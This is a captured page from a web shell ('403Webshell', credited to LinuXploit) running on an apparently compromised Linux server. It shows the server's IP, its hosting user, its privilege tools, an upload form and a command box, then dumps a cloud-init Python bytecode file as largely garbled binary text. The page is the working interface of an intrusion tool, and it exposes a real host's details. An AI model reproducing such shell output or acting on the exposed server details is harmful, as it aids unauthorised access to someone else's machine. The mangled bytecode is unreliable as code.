403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/distros/__pycache__/alpine.cpython-36.pyc
3

��bm�@sJddlmZmZmZmZddlmZddlmZdZ	Gdd�dej
�Z
dS)�)�distros�helpers�subp�util)�HostnameConf)�PER_INSTANCEa7# This file is generated from information provided by the datasource. Changes
# to it will not persist across an instance reboot. To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}

c@s�eZdZdgZdZdZdeed�iZdd�Zdd	�Z	d%dd�Z
d
d�Zdd�Zdd�Z
dd�Zd&dd�Zdd�Zdd�Zd'dd�Zdd�Zedd ��Zd(d#d$�Zd
S))�Distroz
rc-servicez/etc/profile.d/locale.shz/etc/network/interfacesZeni)Zeni_pathZ
eni_headercCs6tjj||||�tj|�|_d|_d|_d|d<dS)NzC.UTF-8ZalpineZsshdZssh_svcname)rr�__init__rZRunners�_runner�default_localeZosfamily)�self�nameZcfg�paths�r�/usr/lib/python3.6/alpine.pyr	s
zDistro.__init__cCs|jS)zgThe default locale for Alpine Linux is different than
        cloud-init's DataSource default.
        )r)rrrr�
get_locale)szDistro.get_localeNcCsB|s
|j}|s|j}ddddd|ddg}tj|dj|�d�dS)	N�#z?# This file is created by cloud-init once per new instance bootzexport CHARSET=UTF-8zexport LANG=%szexport LC_COLLATE=C��
i�)r�locale_conf_fnr�
write_file�join)rZlocaleZout_fn�linesrrr�apply_locale/szDistro.apply_localecCs|j�|jd|d�dS)N�add)�pkgs)�update_package_sources�package_command)r�pkglistrrr�install_packagesBszDistro.install_packagescCsTd}y|j|�}Wntk
r&YnX|s4td�}|j|�tj|t|�d�dS)Nri�)�_read_hostname_conf�IOErrorrZset_hostnamerr�str)r�hostname�filename�confrrr�_write_hostnameFs
zDistro._write_hostnamecCs|j|j�}|j|fS)N)�_read_hostnameZhostname_conf_fn)rZsys_hostnamerrr�_read_system_hostnameSszDistro._read_system_hostnamecCsttj|��}|j�|S)N)rrZ	load_file�parse)rr$r%rrrr WszDistro._read_hostname_confcCs:d}y|j|�}|j}Wntk
r,YnX|s6|S|S)N)r r#r!)rr$�defaultr#r%rrrr'\s

zDistro._read_hostnamecCsdS)Nz	127.0.1.1r)rrrr�_get_localhost_ipgszDistro._get_localhost_ipcCstj||j|�d�dS)N)�tzZtz_file)rZset_etc_timezoneZ
_find_tz_file)rr,rrr�set_timezonejszDistro.set_timezonecCs�|dkrg}dg}|jd�|r6t|t�r6|j|�n|rNt|t�rN|j|�|r\|j|�|dkrr|jddg�tjd|�}|j|�tj|dd�dS)	NZapkz--quietZupgradez--update-cachez--availablez%s-%sF)Zcapture)�append�
isinstancer"�list�extendrZexpand_package_listr)r�command�argsr�cmdrrrrrms



zDistro.package_commandcCs|jjd|jdgtd�dS)Nzupdate-sources�update)Zfreq)r
Zrunrr)rrrrr�s
zDistro.update_package_sourcescCs|jsddg|_|jS)z7Allow distro to determine the preferred ntp client listZchronyZntp)Z_preferred_ntp_clients)rrrr�preferred_ntp_clients�s
zDistro.preferred_ntp_clients�poweroff�nowcCsn|dg}|dkr|dg7}nNy|jtt|�d��Wn2tk
rh}ztd|f�|�WYdd}~XnX|S)Nz-dr8�0�<z?power_state[delay] must be 'now' or '+m' (minutes). found '%s'.)r.r"�int�
ValueError�	TypeError)r�modeZdelay�messager2�errr�shutdown_command�szDistro.shutdown_command)N)N)NN)r7r8N)�__name__�
__module__�__qualname__Zinit_cmdrZnetwork_conf_fn�NETWORK_FILE_HEADERZrenderer_configsr	rrrr&r(r r'r+r-rr�propertyr6rArrrrrs$




rN)Z	cloudinitrrrrZ"cloudinit.distros.parsers.hostnamerZcloudinit.settingsrrErrrrr�<module>	s	

Youez - 2016 - github.com/yon3zu
LinuXploit